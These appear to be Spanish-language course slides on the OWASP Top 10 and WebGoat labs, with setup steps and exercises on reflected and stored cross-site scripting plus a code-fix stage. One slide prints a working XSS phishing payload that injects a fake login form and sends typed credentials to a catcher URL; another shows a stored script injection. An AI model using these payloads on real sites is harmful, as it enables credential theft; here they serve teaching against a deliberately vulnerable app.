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OWASP TOP 10

Open Web Application Security Project (OWASP) is a non-profit community which
help organizations to develop and maintain secure application

Everything is free, open and without commercial influence

OWASP products:

Security tools

Documents, standards, books,
Local chapters

Conferences

Mailing lists

https://www.owasp.org

oo0oo0ou

* One of the most popular products: OWASP TOP 10

https://owasp.org/www-project-top-ten/

7)) OWASP

‘ The Open Web Application Security Project



https://www.owasp.org/
https://owasp.org/www-project-top-ten/

OWASP TOP 10

El proyecto OWASP TOP 10 agrupa las 10 vulnerabilidades mas comunes en servicios web y
su version mas reciente es la 2021.

2017 2021
A01:2017-Injection A01:2021-Broken Access Control
A02:2017-Broken Authentication A02:2021-Cryptographic Failures
A03:2017-Sensitive Data Exposure > A03:2021-Injection |
A04:2017-XML External Entities (XXE) [(New) A04:2021-Insecure Design
A05:2017-Broken Access Control A05:2021-Security Misconfiguration
A06:2017-Security Misconfiguration A06:2021-Vulnerable and Outdated Components
A07:2017-Cross-Site Scripting (XSS) A07:2021-Identification and Authentication Failures
A08:2017-Insecure Deserialization / {(New) A08:2021-Software and Data Integrity Failures
A09:2017-Using Components with Known Vulnerabilities /AOQ:ZOZI-Security Logging and Monitoring Failures*
A10:2017-Insufficient Logging & Monitoring (New) A10:2021-Server-Side Request Forgery (SSRF)*

* From the Survey

https://owasp.org/www-project-top-ten/



https://owasp.org/www-project-top-ten/

WebGoat

WebGoat: Deliberately insecure web application for interactive teaching of web
application security

€« C | [} 10.20.101.15:8080/WebGoat/login.m

o WEBGOAT Please login

Username

=
Password
=2

[Ei]

The following accounts are built into Webgoat
Account User Password
Webgoat User guest guest
Webgoat Admin webgoat webgoat

https://www.owasp.org/index.php/Category:OWASP_WebGoat_Project
https://github.com/WebGoat/WebGoat/tree/7.1



https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
https://www.owasp.org/index.php/Category:OWASP_WebGoat_Project
https://github.com/WebGoat/WebGoat/tree/7.1

WebGoat

« Download webgoat from the following link:
https://github.com/WebGoat/WebGoat/releases/taq/7.1

& webgoat-container-7.1-exec.jar | 70.8 MB
@ webgoat-container-7.1-javadoc.jar 593 KB
& webgoat-container-7.1-sources.jar 161 KB
@ webgoat-container-7.1.war 61.8 MB

[) Source code (zip)

[3) Source code (tar.gz)

« Validate that you have JAVA installed (version 8.0 or upper) with the command:
Java -version

(base) :
openjdk version "1.8.0 292"

$ java -version

OpenJDK Runtime Environment (build 1.8.0 292-b10)
OpenJDK 64-Bit Server VM (build 25.292-b10, mixed mode)



https://github.com/WebGoat/WebGoat/releases/tag/7.1

Installing Java 8 in Windows

If you do not have java you may install it from:
https://www.java.com/es/download/ie_manual.jsp

Buscar

Descargar Ayuda

Becimmos e Descargar Java para Windows
» ¢Qué es Java?

» Eliminar versiones
anteriores de Java
» Desactivar Java

» Mensajes de error

Recomendado Version 8 Update 301 (Tamaiio de archivo: 2 MB)
Fecha de version: 20 de julio de 2021

» Solucionar problemas de & Actualizacion importante de la licencia de Oracle Java
Java = = 2 = 2
o La licencia de Oracle Java ha cambiado para las versiones publicadas a
» Otra ayuda partir del 16 de abril de 2019.
Usuarios de Windows de 64 El nuevo acuerdo de licencia de Oracle Technology Network para Oracle Java SE es
bits sustancialmente diferente a las licencias de Oracle Java anteriores. La nueva licencia permite
2 ciertos usos, como el uso personal y de desarrollo, sin coste alguno (aunque podria haber otros
¢Utiliza exploradores de 32 : S < AR 8 .
) usos autorizados en licencias de Oracle Java anteriores que ya no estén disponibles). Revise
y 3t las condiciones con atencion antes de descargar y utilizar este producto. Puede consultar las
» Preguntas frecuentes i
7 preguntas frecuentes aqui.
sobre Java de 64 bits para
Windows 4 A : 2 2 3 =
La licencia comercial y el soporte estan disponibles con una suscripcion de Java SE de bajo
coste.
Instalacion fuera de linea
¢Problemas al descargar? Oracle también ofrece la tltima version de OpenJDK con la licencia publica general de codigo
Intente con el installer fuera abierto en jdk java.net.

de linea.

Aceptar e iniciar descarga
gratuita


https://www.java.com/es/download/ie_manual.jsp

Installing Java 8 in Linux

 (base) :$ sudo apt install openjdk-8-jre-headless

| [sudo] password for daniel:
Reading package lists... Done
Building dependency tree... Done

IReading state information... Done
The following packages were automatically installed and are no longer required:

black chromium-codecs-ffmpeg-extra docutils-common fonts-elusive-icons
fonts-font-awesome fonts-lyx fonts-mathjax g++ g++-11 git git-man golang-1.18-go

golang-1.18-src golang-src gstreamerl.0-vaapi helpdev i965-va-driver
intel-media-va-driver ipython3 javascript-common libaacs® libaom3 libaprl libaprutill

libass9 libatk-wrapper-java libatk-wrapper-java-jni libavcodec58 libavformat58
libavutil56 libbdplus® libblas3 libbluray2 libbs2b0 libchromaprintl

java -version

openjdk version "1.8.0 352"
OpenJDK Runtime Environment (build 1.8.0 352-8u352-ga-1~22.04-b08)

OpenJDK 64-Bit Server VM (build 25.352-b08, mixed mode)




WebGoat

Launch webgoat with the command: java -jar webgoat-container-7.1-exec.jar

(base) - $ java -jar webgoat-container-7.1-exec.jar
Aug 27, 2021 12:42:30 PM org apache.coyote.httpl1i.Httpl1Protocol init

INFO: InltlallZIHQ ProtocolHandler ["http-bio-86080"]

Aug 27, 2021 12:42:30 PM org.apache.catalina.core.StandardService startInternal
INFO: Starting service Tomcat

Aug 27, 2021 12:42:30 PM org.apache.catalina.core.StandardEngine startInternal
INFO: Starting Servlet Engine: Apache Tomcat/7.0.59

rams=[1], headers [],consumes []1,produces=[application/json],custom=[]}" onto publ
ic org.owasp.webgoat.lessons.model.LessonInfoModel org.owasp.webgoat.service.Les
sonInfoService.getlLessonInfo(javax.servlet.http.HttpSession)

2021-08-27 12:42:33,906 INFO - FrameworkServlet 'mvc-dispatcher': initializatio
n completed in 132 ms

2021-08-27 12:42:33,916 INFO - Initializing main webgoat servlet

2021-08-27 12:42:33,917 INFO - Browse to http://localhost:8080/WebGoat and happ
y hacking!

Aug 27, 2021 12:42:34 PM org.apache.coyote.httpl1l.Http1li1Protocol start

INFO: Starting ProtocolHandler ["http-bio-8080"]




WebGoat

« Access in a web browser to the URL
http://localhost:8080/WebGoat/login.mvc

e Use the username* wehannat and nasswaord: wehanat
& C @ httpy//localhost:8080/WebGoat/login.mvc

Username

Password

The following accounts are built into Webgoat
Account User Password
Webgoat User guest guest

Webgoat Admin webgoat webgoat



http://localhost:8080/WebGoat/login.mvc

OWASP TOP 10

El proyecto OWASP TOP 10 agrupa las 10 vulnerabilidades mas comunes en servicios web y
su version mas reciente es la 2021.

2017 2021
A01:2017-Injection A01:2021-Broken Access Control
A02:2017-Broken Authentication A02:2021-Cryptographic Failures
A03:2017-Sensitive Data Exposure A03:2021-Injection |
A04:2017-XML External Entities (XXE) [(New) A04:2021-Insecure Design
A05:2017-Broken Access Control A05:2021-Security Misconfiguration
A06:2017-Security Misconfiguration A06:2021-Vulnerable and Outdated Components
A07:2017-Cross-Site Scripting (XSS) A07:2021-Identification and Authentication Failures
A08:2017-Insecure Deserialization / {(New) A08:2021-Software and Data Integrity Failures
A09:2017-Using Components with Known Vulnerabilities / A09:2021-Security Logging and Monitoring Failures*
A10:2017-Insufficient Logging & Monitoring (New) A10:2021-Server-Side Request Forgery (SSRF)*

* From the Survey

https://owasp.org/Top10/A03 2021-Injection/
https://owasp.org/www-project-top-ten/



https://owasp.org/www-project-top-ten/
https://owasp.org/Top10/A03_2021-Injection/

A03:2021-Injection
Cross-site scripting (XSS)

Attack
I =@ ® . o ,
Vectors e ¢Como? El intruso envia ataques basados en texto que explotan
S ——— el interpreter del navegador. Casi cualquier fuente de datos
Exploitability . . .
AVERAGE (incluidas las internas) puede ser un vector de ataque.
REvEAES Security e ¢Por qué? Ocurre cuando una aplicacion incluye datos

Weakness

proporcionados por el usuario en una pagina que se retorna al
navegador del usuario sin validar el contenido, por ejemplo
cuando visualizo un post en redes sociales creado por otro
usuario. Tres tipos de XSS: Almacenado, reflejado y basado en

DOM.
L u @ Technical g 44
Impacts
Le—— * Impacto: Ejecucidn de scripts en el navegador de la victima para
Impact . 7 . .r- . . .
R robar la sesion del usuario, modificar un sitio web, adicionar

contenido hostil, redirigir a la victima, ejecutar malware, etc.



Cross-site scripting (XSS)

¢Como saber si un aplicativo es vulnerable?

1. No se validan los datos ingresados por el usuario antes de incluirlos como datos de salida en una pagina
web.

2. Se utiliza Ajax, con APIs de JavaScript no seguros (deben implementar codificacion y validacidon de datos).

3. Utilizar herramientas automatizadas para la deteccién => dependiente del interpreter (JavaScript, ActiveX,
Flash, Silverlight)

¢Qué medidas de proteccion se pueden utilizar?

1. Validar todos los datos de entrada no confiables segun el contexto HTML (body, attribute, JavaScript, CSS,
URL) en el que serdn dispuestos -> Revisar técnicas de validacién de datos (OQWASP XSS Prevention Cheat
Sheet)

2. Implementar una lista blanca de entradas que valide longitud, caracteres, formato y reglas de negocio

sobre los datos.

Utilizar librerias de auto-sanitizacion como OWASP AntiSamy o Java HTML Sanitizer Project.

4. Considerar una politica de seguridad de contenido (CSP) como defensa contra XSS

0


https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

Reto 1. Phishing with Cross-site scripting (XSS)



Reto 1. Phishing with Cross-site scripting (XSS)

Acceder al reto “Phishing with XSS” del panel izquierdo de Webgoat

& C  ® http://localhost:8080/WebGoat/start.mvc#attack/1382523204/900

= Phishing with XSS

Show Solution m UG  Restart Lesson

This lesson is an example of how a website might support a phishing attack if there is a known XSS attack on the page

Below is an example of a standard search feature.
Using XSS and HTML insertion, your goal is to:
« Insert html to that requests credentials
« Add javascript to actually collect the credentials
« Post the credentials to http://localhost:8080/WebGoat/catcher?PROPERTY=yes...

to pass this lesson, the credentials must be posted to the catcher serviet.

WebGoat Search

This facility will search the WebGoat source.

Search: | EI

| Search |




Reto 1. Phishing with Cross-site scripting (XSS)

“WebGoat Search” contiene una caja de texto para la realizacién de consultas. El reto
consiste en explotar la caja de texto para provocar un ataque “XSS reflejado”.

Java Sourcel | Souion | Lesson Pan | rints [ETSRTTSS

This lesson is an example of how a website might support a phishing attack

Below is an example of a standard search feature.
Using XSS and HTML insertion, your goal is to:
« Insert html to that requests credentials
« Add javascript to actually collect the credentials
« Post the credentials to http://localhost/webgoat/catcher?PROPERTY=yes...

To pass this lesson, the credentials must be posted to the catcher serviet.

WebGoat Search

This facility will search the WebGoat source.

Search:

| Search J




Reto 1. Phishing with Cross-site scripting (XSS)

Este es un ejemplo de codigo que se puede inyectar en la caja de texto

para provocar la emulacidon de un formulario html que solicita el ingreso Attacker Website
de credenciales de una victima y las envia a un servidor remoto de un where the user
atacante. credentials are sent

>function|hack ()}{
=new Image; XSSImage.src=" 4

- Name = " + document phlSh user. value + =

document phish.pass.value);}

="phish" H 13>This feature requlres account login:

H. Enter Username: v ] ype="text" ex"user"” ; Enter

Password: ' WOIrcC ; submi
="login

</fform><script>function hack()}{ XSSImage=new Image;
XSSImage.src="http://localhost/webgoat/catcher?
PROPERTY=yes&user="+document.phish.user.value + "&password=" +
document.phish.pass.value + ";alert("Had this been a real attack... Your credentials were just
stolen. User Name =" + document.phish.user.value + " Password =" +
document.phish.pass.value);} </script><form name="phish"><br><br><HR><H3>This feature
requires account login:</H2><br><br>Enter Username:<br><input type="text" name="user">
<br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit"
name="login" value="login" onclick="hack()"></form><br><br><HR>



Reto 1. Phishing with Cross-site scripting (XSS)

Inyectar el codigo preparado previamente en la caja de texto de WebGoat
Search y presionar “search”

Java [Source] m Restart Lesson

This lesson is an example of how a website might support a phishing attack

Below is an example of a standard search feature.
Using XSS and HTML insertion, your goal is to:
« Insert html to that requests credentials
« Add javascript to actually collect the credentials
« Post the credentials to http://localhost/webgoat/catcher?PROPERTY=yes...

To pass this lesson, the credentials must be posted to the catcher serviet.

WebGoat Search

This facility will search the WebGoat source.

Search:|</form><script>function HEe

Search }




Reto 1. Phishing with Cross-site scripting (XSS)

El codigo inyectado es ejecutado por el web server y provoca la creacion de un formulario que
cohesiona a la victima para ingresar las credenciales de usuario. Las credenciales robadas son
enviadas al servidor del atacante.

: [Resuits for:

. This feature requires account login: . localhost:8080 says
: ' If it was a real attack... Your credentials were just stolen.
. User Name = administradorPassword = ghjilo8765jkn

. Enter Username:

’administrador =
. Enter Password: “

: |No results were found.




Reto 1. Phishing with Cross-site scripting (XSS)

Identificar el mensaje tipo GET que exfiltra las credenciales del usuario hacia el servidor del
atacante. Para ello abrir las “Web Developer Tools” del navegador y explorar la pestaia “Network”

L @ :G L 0

dodiazlopez@gmail.com < More tools

New tab ctrl+T Customize toolbar...

New window Cti+N

Br

v/ Web Developer Tools Ctrl+Shift+l

Task Manager Shift+Esc

New private window Ctrl+Shift+P

Bookmarks >

History > Remote Debugging

TTINRAR Crrlsshifesy Browser Console Ctrl+Shift+J

Passwords Responsive Design Mode Ctrl+Shift+m

Add-ons and themes Ctrl+Shift+A Eyedropper

= W Page Source
Print... Ctrl+P

Extensions for developers

Save page as... Ctrl+S

Find in page... Ctrl+F

Zoom - 100% + /

Settings
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Reto 1. Phishing with Cross-site scripting (XSS)

Identificar el mensaje tipo GET que exfiltra las credenciales del usuario hacia el servidor del
atacante. Para ello abrir las “Web Developer Tools” del navegador y explorar la pestaia “Network”

nsole [ Debugger 4 Network {} StyleEditor () Performance # Memory [E] Storage

S XHR Fon

[F] Headers

catcher?PROPERTY=yes &u: lddd&password=dddddddddddd jquery-1.10.2.minjs line 4 > eval.... plain

HTTP/1.1

102 B (0 B size)
strict-origin-when-cross-origin
Highest



More XSS challenges

https://xss-game.appspot.com/

Warning: You are entering the XSS game area

Welcome, recruit!

Cross-site scripting (XSS) bugs are one of the most common and dangerous
types of vulnerabilities in Web applications. These nasty buggers can allow
your enemies to steal or modify user data in your apps and you must learn
to dispatch them, pronto!

At Google, we know very well how important these bugs are. In fact, Google
is so serious about finding and fixing XSS issues that we are paying
mercenaries up to $7,500 for dangerous XSS bugs discovered in our most
sensitive products.

In this training program, you will learn to find and exploit XSS bugs.
You'll use this knowledge to confuse and infuriate your adversaries by

preventing such bugs from happening in your applications.

There will be cake at the end of the test.

Training progress:

Level 1: Hello, world of XSS
Level 2: Persistence is key

Level 3: That sinking feeling...



https://xss-game.appspot.com/

Reto 2. Stored Cross-site scripting (XSS)



Reto 2. Stored Cross-site scripting (XSS)

Acceder al reto “Stored XSS” del panel izquierdo de Webgoat

< C  ® httpy//localhost:8080/WebGoat/start.mvc#attack/611366032/900/1

= LAB: Cross Site Scripting

m Show Solution SUGITRSINIE  Restart Lesson

Stage 1
Stage 1: Execute a Stored Cross Site Scripting (XSS) attack.

As 'Tom', execute a Stored XSS attack against the Street field on the Edit Profile page. Verify that 'Jerry' is affected by the
attack.

The passwords for the accounts are the lower-case versions of their given names (e.g. the password for Tom Cat is "tom").
o
& Goat Hills Financial
& Human Resources
[

(4

Please Login
[Larry Stooge (employee) v

| Login |




Reto 2. Stored Cross-site scripting (XSS)

El reto consiste en explotar la vulnerabilidad del campo “Street” del perfil de los empleados de
la empresa “Goat Hills Financial” para provocar un ataque “XSS almacenado”.
Para ello, primero autenticarse con el usuario: Jerry con password: jerry

& C @ http://localhost:8080/WebGoat/start.mvc#attack/611366032/900

= LAB: Cross Site Scripting

Show Solution | Show Plan i Show Hints [EEsEEELEEE)

Stage 1

Stage 1: Execute a Stored Cross Site Scripting (XSS) attack.
As 'Tom', execute a Stored XSS attack against the Street field on the Edit Profile page. Verify that 'Jerry' is affected by the
attack.

The passwords for the accounts are the lower-case versions of their given names (e.qg. the password for Tom Cat is "tom").
&
& Goat Hills Financial
% Human Resources

L ]

i

Please Login
[Jerry Mouse (hr) v]

[Eeon)




Reto 2. Stored Cross-site scripting (XSS)

Dentro de la lista de empleados seleccionar a Jerry y presionar “View Profile”. En la nueva ventana
observar el tipo de informacion almacenada para cada empleado y las funciones ListStaff, EditProfile,

DeleteProfile y Logout

“*  Goat Hills Financial

5
JA Human Resources
([|i1i1 Welcome Back Jerry - Staff Listing Page 54 ]

Select from the list below

Tom Cat (employee) =«
Jerry Mouse (hr)

Joanne McDougal (hr)

SearchStaff

ViewProfile

CreateProfile
DeleteProfile

7

Logout

“  Goat Hills Financial

5
;ﬁ- Human Resources

[ ListStaff ] [ EditProfile ] [ DeleteProfile

.

\,

[#h Welcome Back Jerry Ol
First Name: Jerry Last Name: Mouse

; ; ; New York,
Street: 3011 Unix Drive City/State: NY
Phone: 443-699-3366 Start Date: 1011999
SSN: 858-55-4452 Salary: 70000
Credit Card: 6981754825013564 Credit Card Limit: 20000
Comments: Co-Owner. Manager: 102
Disciplinary NA Disciplinary Action 0
Explanation: Dates:




Reto 2. Stored Cross-site scripting (XSS)

» Seleccionar la funcion “EditProfile” e inyectar un cédigo malicioso en el campo “Street”.

* Un ejemplo de cdédigo malicioso puede ser: <script>alert("vuln")</script>

» El objetivo del ataque “XSS almacenado” es que el codigo quede almacenado en el perfil de Jerry y
sea ejecutado cada vez que algun usuario consulte dicho perfil

< Goat Hills Financial <“ Goat Hills Financial

5
; 5
[#h Welcome Back Jerry < ([# welcome Back Jerry o
First Name: Jerry Last Name: Mouse First Name: |Jerry | Last Name: |Mouse
Street: 3011 Unix Drive City/State: :iw York, Street: |<script>alen("vuln")<lscript>|I City/State: |New York, NY
Phone:  [443-699-3366 | tart Date: [1011999
Phone: 443-699-3366 Start Date: 1011999
SSN: |858-55-4452 | salary: 70000
SSN: 858-55-4452 Salary: 70000
; : % K : Credit Card
Credit Card: 6981754825013564 Credit Card Limit: 20000 Credit Card: |6981754825013564 | Limit: |20000
Comments: Co-Owner. Manager: 102 Comments: ,Co-Owner. | Manager:
Dlsmpllngry NA Disciplinary Action 0 - A Gissiglinaiy
Explanation: Dates: Disciplinary Action | 0
Explanation: :
p Dates:
[ ListStaff ] [ EditProfile ] [ DeleteProfile { .

R - ViewProfile ] [ UpdateProfile l




Reto 2. Stored Cross-site scripting (XSS)

* Después de inyectar el cddigo, seleccionar la funcidon “UpdateProfile” para almacenar el cédigo
inyectado dentro del perfil de Jerry

* Presionar el boton “Logout” para regresar al menu principal

= LAB: Cross Si localhost:8080 says

vuln

Show Solution i Show Plan l “

Stage 1
Stage 1: Execute a Stored Cross Site Scripting (XSS) attack.

As "Tom', execute a Stored XSS attack against the Street field on the Edit Profile page. Verify that 'Jerry’ is affected by the
attack.

The passwords for the accounts are the lower-case versions of their given names (e.g. the password for Tom Cat is "tom”).

“ Goat Hills Financial

5
JA Human Resources

[#h welcome Back Tom o)

First Name: ‘Jerry | Last Name: ‘Mouse ‘
Street: ‘<scnp[>alert("vuIn")</scr|p[> | City/State: ‘New York, NY ‘
Phone:  [443-699-3366 | start Date: [1011999 |
SSN: [858-55-4452 | satary:  [70000 |
Credit Card: [6981754825013564 fl'mes" card 20000 |

Comments: |Co-Owner. Manager: [Tom Cat v|
e NA Disciplinal
Disciplinary .p Y
Explanation: 2
p Dates:

ViewProfile I [ UpdateProfile ]

\




Reto 2. Stored Cross-site scripting (XSS)

Seleccionar el empleado Jerry y presionar el botén “ViewProfile” para revisar el perfil y comprobar que
el cédigo inyectado es ejecutado

&-&' Goat H.s H 'd 2 LAB CrOSS S| localhost:8080 says

Human Resources

vuln

(o o % Show St Show Solution [ Show P n

[rim Welcome Back Jerry - Staff Listing Page < ] i
Stage 1
Stage 1: Execute a Stored Cross Site Scripting (XSS) attack.
As Tom', execute a Stored XSS attack against the Street field on the Edit Profile page. Verify that ‘Jerry' is affected by the

: attack.
Select from the list below

The passwords for the accounts are the lower-case versions of their given names (e.g. the password for Tom Cat is "tom").

“ Goat Hills Financial

Tom Cat (employee) =«
Jerry Mouse (hr)

J‘A Human Resources
Joanne McDougaI (hf) SearchStaff [um Welcome Back Jerry - Staff Listing Page Q ]
ViewProfile
CreateProfile

ISelect from the list below
DeleteProfile

Tom Cat (employee) =~
Jerry Mouse (hr)

Joanne McDougal (hr) SearchStaff
ViewProfile
Logout

CreateProfile

DeleteProfile
A




Reto 2. Stored Cross-site scripting (XSS)

« También se puede presionar el boton “SearchStaff’ y buscar a Jerry para validar la ejecucion del cédigo
inyectado

& C @ http://localhost:8080/WebGoat/start. mvc#attack/611366032/900
LAB CrOSS S| localhost:8080 says
- i vuln
EZE [ ox |
Goat Hills Financial
Human Resources
Stage 2
L ] Stage 2: Block Stored XSS using Input Validation
THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT
Search For User
Name IJerry{ ] Implement a fix to block the stored XSS before it can be written to the database. Repeat stage 1 as 'Eric’ with 'David' as the
| FindProfile ‘

manager. Verify that 'David' is not affected by the attack

* You have completed Stage 1: Stored XSS.
* Welcome to Stage 2: Block Stored XSS using Input Validation

¢ Goat Hills Financial

& Human Resources

[lili‘ Welcome Back Larry . ]
First Name: Jerry Last Name: Mouse
New York,
Street: City/State NY
Phone: 443-699-3366 Start Date: 1011999
SSN: 858-55-4452 Salary: 70000
Credit Card: 6981754825013564 Credit Card Limit: 20000
Comments Co-Owner. Manager 105
Disciplinary Sk Disciplinary Action o
Explanation Dates:
' ListStaff H EditProfile ‘ Logout

\




Reto 3. Corregir webgoat para evitar el ataque
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Acceder al reto “Stage 2: Block Stored XSS using input validation” del panel izquierdo de Webgoat

& C @ http://localhost:8080/WebGoat/start.mvc#attack/611366032/900/2

Stage 2

o

1» Human Resources

Stage 2: Block Stored XSS using Input Validation

&¢ Goat Hills Financial

= LAB: Cross Site Scripting

THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT

Implement a fix to block the stored XSS before it can be written to the database. Repeat stage 1 as 'Eric’ with ‘David' as the
manager. Verify that 'David' is not affected by the attack

Mouse

New York,
NY

1011999
70000
20000
105

[ri!i1 Welcome Back Jerry

First Name: Jerry Last Name:

Street City/State:

Phone: 443-699-3366 Start Date:

SSN 858-55-4452 Salary:

Credit Card: 6981754825013564 Credit Card Limit
Comments Co-Owner. Manager
Disciplinary NA Disciplinary Action 0
Explanation: Dates:

ListStaff ‘ ‘ EditProfile ‘ ‘ DeleteProfile

‘ Logout ‘




Reto 3. Corregir webgoat para evitar el ataque
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El objetivo de este reto es ajustar el codigo fuente de la aplicacion para evitar que el campo “street” sea
vulnerable a un ataque de XSS almacenado.
Para ello se debe:

1. Descargar los archivos del cédigo fuente de la aplicaciéon Webgoat de las rutas:

» Servidor principal de WebGoat:
https://github.com/WebGoat/WebGoat/archive/refs/tags/7.1.zip
* Lecciones de WebGoat:
https://qithub.com/WebGoat/WebGoat-Lessons/archive/refs/heads/develop.zip

2. Preparar un ambiente de desarrollo que permita ejecutar el proyecto desde el cédigo fuente

3. Ubicar el archivo del proyecto WebGoat-Lessons que se debe ajustar para evitar el ataque XSS

almacenado y realizar el aseguramiento del cddigo

4. Compilar de nuevo el proyecto WebGoat-Lessons

5. Ejecutar el proyecto Webgoat 7.1
La descarga del codigo fuente y la preparacion del ambiente de desarrollo ya se encuentra lista en la maquina
virtual accesible desde el link :
https://uredu-my.sharepoint.com/:u:/g/personal/danielo_diaz_urosario_edu_co/EZDknAEYgQpFvpBjr7XU6HO0B6
p2GGosnKVneKzfMO7IWpw?e=6nNH9w
Descargar VirtualBox del siguiente link y realizar la instalacion: https://www.virtualbox.org/wiki/Downloads
Crear la maquina virtual dentro de VirtualBox como se indica en el siguiente video desde el minuto 1:15 hasta el
minuto 2:48: (En la ventana memory size asignarle al menos 3 Gb de ram)
https://www.youtube.com/watch?v=fVYwt1Tluug



https://github.com/WebGoat/WebGoat/archive/refs/tags/7.1.zip
https://github.com/WebGoat/WebGoat-Lessons/archive/refs/heads/develop.zip
https://uredu-my.sharepoint.com/:u:/g/personal/danielo_diaz_urosario_edu_co/EZDknAEYgQpFvpBjr7XU6H0B6p2GGosnKVneKzfMO7IWpw?e=6nNH9w
https://uredu-my.sharepoint.com/:u:/g/personal/danielo_diaz_urosario_edu_co/EZDknAEYgQpFvpBjr7XU6H0B6p2GGosnKVneKzfMO7IWpw?e=6nNH9w
https://www.virtualbox.org/wiki/Downloads
https://www.youtube.com/watch?v=fVYwt1Tluug

N —

Procedimiento ampliaciéon del tamaio del disco duro virtual - Parte |

Apagar la maquina virtual

En virtual box, dirigirse a File -> Virtual Media Manager

Presionar click derecho sobre el disco duro de la maquina virtual de Webgoat (Ubuntu-Webgoat.vdi en
este caso) y seleccionar “Properties”

Mover el “Size” hacia la derecha hasta 15 Gb y seleccionar “Apply”

Virtual Media Manager

- o @
Medium
o)
€ @ @ 2 B & @
Add Create Copy Release Search  Properties Refresh
Hard disks | ( Optical disks Floppy disks
Name ~ Virtual Size Actual Size
Ubuntu-R1.vdi 10,00 GB 9,67 GB
Ubuntu-WebGoat.vdi 15,20 GB 9,88 GB
Attributes | Information
Type:
Location: a3
Description:
Size:
(] ©close




Procedimiento ampliacidén del tamano del disco duro virtual - Parte Il

Iniciar la maquina virtual de WebGoat

Autenticarse con las credenciales: usuario: neron pwd: gwerty

Buscar e iniciar la aplicacion “Disks” y seleccionar el boton de “Additional partition options”
Seleccionar “Resize” y ajustar el valor del disco duro a lo maximo permitido, en este caso a 16,3 Gb
(Un poco mas de los 15 Gb asignados en el slide previo)

Seleccionar “Resize”

B_wn =

o

16 GB Hard Disk

Cancel Resize Volume Resize

16 GB Hard Disk . :
VBOX HARDDISK Model VBOXHARDDISK (1.0)

~ CD/DVD Drive Size 16 GB(16.322.166.784 bytes)
-~/ VBOX CD-ROM Partitioning Master Boot Record
Serial Number VB9616016d-b9bcfbeb
Assessment SMART is not supported

Resizing a filesystem can lead to data loss. You are advised to backup
your data before. The resize operation will take longer if a lot of data
has to be moved. The minimal size is calculated according to the current
Volumes content. Keep additional free space for the filesystem to work fast and
reliably.

Current Size

\/

|
|
| Minimal Size
|
== —_——
1 =it p ;
i Additional partition options ReAENCER:EAI] Partition Size ‘ 16,3 — + ‘ GB -
[ Device /dev/sdal —_—
| UUID e313fc74-0825-417c-b438-890127F4891¢ Free Space Following \ 0,0 — \ GB

| Partition Type Linux (Bootable)

| Contents Ext4 (version 1.0) — Mounted at Filesystem Root Difference ‘ 0,0 =k ‘ GB
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e Autenticarse en la maquina virtual con las credenciales: usuario: neron pwd: gwerty
e Dentro de la maquina virtual, revisar que la carpeta “WebGoat-7.1” existan en la ruta

/home/neron/Downloads/WebGoat-7.1

;G Home Downloads

0 Recent

Starred

- WebGoat-7.1
i} Home

Desktop . 50047.txt

Documents [ cCaso de uso-Seguridad en el software.docx

Downloads .
Forense-2021-ll

Music
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La carpeta “WebGoat-7.1” contiene las carpetas con el codigo fuente de los dos proyectos requeridos para lanzar
webgoat: i) “Servidor de Webgoat” (Carpeta WebGoat-7.1) y ii) “Lecciones de WebGoat” (Carpeta WebGoat-Lessons)

( {(;t Home Downloads WebGoat-7.1 ~

0 Recent

~ target
* Starred

4} Home WebGoat-7.1

[ Desktop WebGoat-7.1.zip

[E] Documents §
WebGoat-Lessons

{ Downloads

J1 Music

[&] Pictures
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Ejecutar los siguientes comandos para compilar el “Servidor de WebGoat-7.1” desde el cddigo fuente:
1.  Abrir una consola y ubicarse en la carpeta del proyecto WebGoat-7.1 con el comando:
cd /home/neron/Downloads/WebGoat-7.1/WebGoat-7.1
1.  Compilar el proyecto con el comando: mvn clean compile install

S cd WebGoat-7.1

$ mvn clean compile install

daniel@probook-440: ~/Downloads/WebGoat-7.1/WebGoat-7.1 Q =

]
sz (default-install) @ .

] Installing /home/daniel/Downloads/WebGoat-7.1/WebGoat-7.1/webgoat-standalone/targe
/webgoat-standalone-7.1.jar to /home/daniel/.m2/repository/org/owasp/webgoat/webgoat-sta
dalone/7.1/webgoat-standalone-7.1.jar

] Installing /home/daniel/Downloads/WebGoat-7.1/WebGoat-7.1/webgoat-standalone/pom.x

El resultado de la compilacién 1 to /home/daniel/.m2/repository/org/owasp/webgoat/webgoat-standalone/7.1/webgoat-standa
one-7.1.pom
del proyecto WebGoat-7.1 ] Installing /home/daniel/Downloads/WebGoat-7.1/WebGoat-7.1/webgoat-standalone/targe
. . . /webgoat-standalone-7.1-exec.jar to /home/daniel/.m2/repository/org/owasp/webgoat/webgoa
deberia ser el SIgUIEﬂte -standalone/7.1/webgoat-standalone-7.1-exec.jar

Reactor Summary for WebGoat Parent Pom 7.1:

webgoat-container 8.042 s]

]
]
] WebGoat Parent Pom 0.194 s]
]
] webgoat-standalone 3.365 s]

Total time: 11.694 s
Finished at: 2021-08-30T00:38:03-05:00
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Ejecutar los siguientes comandos para compilar el proyecto “Lecciones de WebGoat”
1. Ubicarse en la carpeta del proyecto WebGoat-Lessons con el comando:
cd /home/neron/Downloads/WebGoat-7.1/WebGoat-Lessons
1.  Compilar el proyecto con el comando: mvn package

(base) : S cd WebGoat-Lessons/

(base) S mvn package

daniel@probook-440: ~/Downloads/WebGoat-7.1/WebGoat-Lessons

sql-injection
sql-numeric-injection
sql-string-injection
stored-xss
thread-safety-problem
trace-xss

El resultado de la compilacién Srairery o
del proyecto WebGoat-Lessons weak-authentication-cookie

, L. weak-session-id
deberia ser el siguiente ws-sax-injection
ws-sql-injection

wsdl-scanning

xml-injection
xpath-injection

0.
0.
0.
0.
0.
0.
0.
0.
0.
0.
0.
0.
0.
0.
0.
0.
1.

Total time: 4.762 s
Finished at: 2021-08-30T00:40:50-05:00
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3. Copiar todos los archivos *.jar resultados de la compilacién de “Lecciones de WebGoat” al proyecto “Servidor
Webgoat” con el comando:
cp target/plugins/*.jar ../WebGoat-7.1/webgoat-container/src/main/webapp/plugin_lessons/

(base) - S cp target/plugins/*.jar

Goat-7.1/webgoat- contalner/src/maln/webapp/plugln lessons/
(base)

4. Ahora ya se puede proceder a ejecutar el servicio web para ello:
